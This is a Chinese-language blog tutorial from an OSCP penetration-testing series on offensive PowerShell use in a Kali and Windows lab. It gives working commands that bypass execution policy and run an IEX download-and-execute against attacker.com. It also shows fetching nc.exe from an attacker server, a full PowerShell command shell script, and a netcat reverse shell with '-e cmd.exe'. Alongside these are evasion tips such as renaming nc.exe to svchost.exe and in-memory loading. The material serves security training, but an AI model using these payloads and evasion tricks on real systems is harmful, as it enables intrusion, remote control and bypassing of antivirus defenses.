Home
avatar

静静

Day11 Kali渗透工具Powershell

关注 泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

以下内容建议在虚拟机中测试,安装Windows10直接点击注册即可,安装Windows11可以参考如下教程设置后链接。win系统镜像可关注泷羽Sec-静安公众号,后台回复“OSCP配套工具”获取本文的工具,文件夹Day11-12中有。

手把手、超详细:安装Windows11 虚拟机Vmware 16.x Pro教程!

PowerShell

下载地址:https://aka.ms/PSWindows

​概述​

  • 定义:微软开发的脚本语言和命令行 Shell,集成于 Windows 系统,支持自动化任务和系统管理。

  • 特点:无需额外安装,可直接调用 .NET 框架,功能强大且灵活。

image-20250508150733262

渗透测试用途

  • 信息收集:枚举系统信息、进程、服务等(如 Get-Process)。

  • 权限提升:利用漏洞或配置错误提权(如绕过 UAC)。

  • 横向移动:通过 WMI 或 PSRemoting 控制内网其他主机。

  • 文件传输:下载恶意文件(Invoke-WebRequestIEX)。

  • 持久化:创建计划任务、注册表项等维持访问。

image-20250512150549380

image-20250512150627549

PowerShell ISE和终端cmd不同,PowerShell ISE能执行的命令比终端多,而且ISE的界面类似普通编程IDE界面,上方可以编辑ps1文件,并运行,在下方显示运行结果。右侧显示各种模块的名称,可以直接查找后插入。

常用命令示例

# 绕过执行策略执行脚本
powershell -ExecutionPolicy Bypass -File script.ps1

# 从远程加载并执行脚本(无文件攻击)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')

# 编码命令绕过检测
$command = "Get-Process"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

实操练习

Get-ExecutionPolicy
  • 作用:查看当前 PowerShell 的 脚本执行策略(Execution Policy)
  • 输出 RemoteSigned: 表示当前策略允许运行 ​​本地脚本​​,但来自互联网的脚本(如通过邮件或下载的脚本)必须经过 ​​数字签名​​ 才能运行。
  • 渗透测试意义: 攻击者需确认目标是否允许直接运行脚本,若策略为 Restricted(默认),则需绕过限制(如使用 -ExecutionPolicy Bypass
Set-ExecutionPolicy Unrestricted
  • 作用:将执行策略修改为 Unrestricted,允许运行 所有脚本(包括远程未签名脚本),但执行远程脚本时会弹出警告。

    渗透测试用途

    • 绕过默认安全限制,便于直接运行恶意脚本(如从互联网下载的 .ps1 文件)。
    • 通常在提权后使用,为后续攻击铺路。
  • 风险: 用户可能因忽略警告而误执行恶意脚本。

image-20250512105804539

Kali 中自带一些用于渗透Windows的工具,存在/usr/share/windows-binaries文件夹下。用命令启动一个简单的服务器,可以访问下载即将要用到的软件。

python3 -m http.server

image-20250512171139317

image-20250512171723444

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://172.168.169.128:8000/nc.exe','C:\Users\Administrator\Downloads\nc.exe')"
  • 作用: 使用 System.Net.WebClient 类从攻击者控制的服务器(192.168.162.128)下载 nc.exe(Netcat 工具),并保存到 C:\nc.exe

image-20250512171911906

渗透测试用途

  • 下载攻击工具:Netcat 常用于创建反向 Shell、端口扫描或文件传输。

  • 横向移动:将工具上传到目标内网主机,进一步控制其他设备。

  • 持久化:结合计划任务或服务,维持长期访问权限。

image-20250512171955777

image-20250512172959174

如果是在靶机上测试,记得关闭Windows的防病毒功能,因为这个nv文件十分典型,会报病毒。如果是在实战渗透中,要对nc文件做加密以绕过检测。绕过检测技巧

  • 使用加密协议(如 HTTPS)或混淆 URL。
  • 重命名 nc.exe 为合法文件名(如 svchost.exe)。
  • 直接在内存中加载工具(无文件攻击),避免写入磁盘。

反弹windows的shell到kali中

Windows中打开ISE,在编辑框中输入

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 443);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush();
    $client.Close();
    $listener.Stop()
}

image-20250514111441536

然后在kali中输入

nc -nv 172.168.169.136 443

image-20250514111428779

但是这样获得的链接不稳定,我们把('0.0.0.0', 443);改为攻击机的地址,就能获得稳定的shell。

$listener = New-Object System.Net.Sockets.TcpListener('172.168.169.128', 8888);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush();
    $client.Close();
    $listener.Stop()
}

由于之前我们已经用命令下载了nc.exe,所以我们可以在window上用nc方便快捷的建立一个反弹shell。

./nc.exe 172.168.169.128 4444 -e cmd.exe 

然后在kali上监听4444端口即可。

 nc -nlvp 4444   

image-20250514154743228


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

Kali OSCP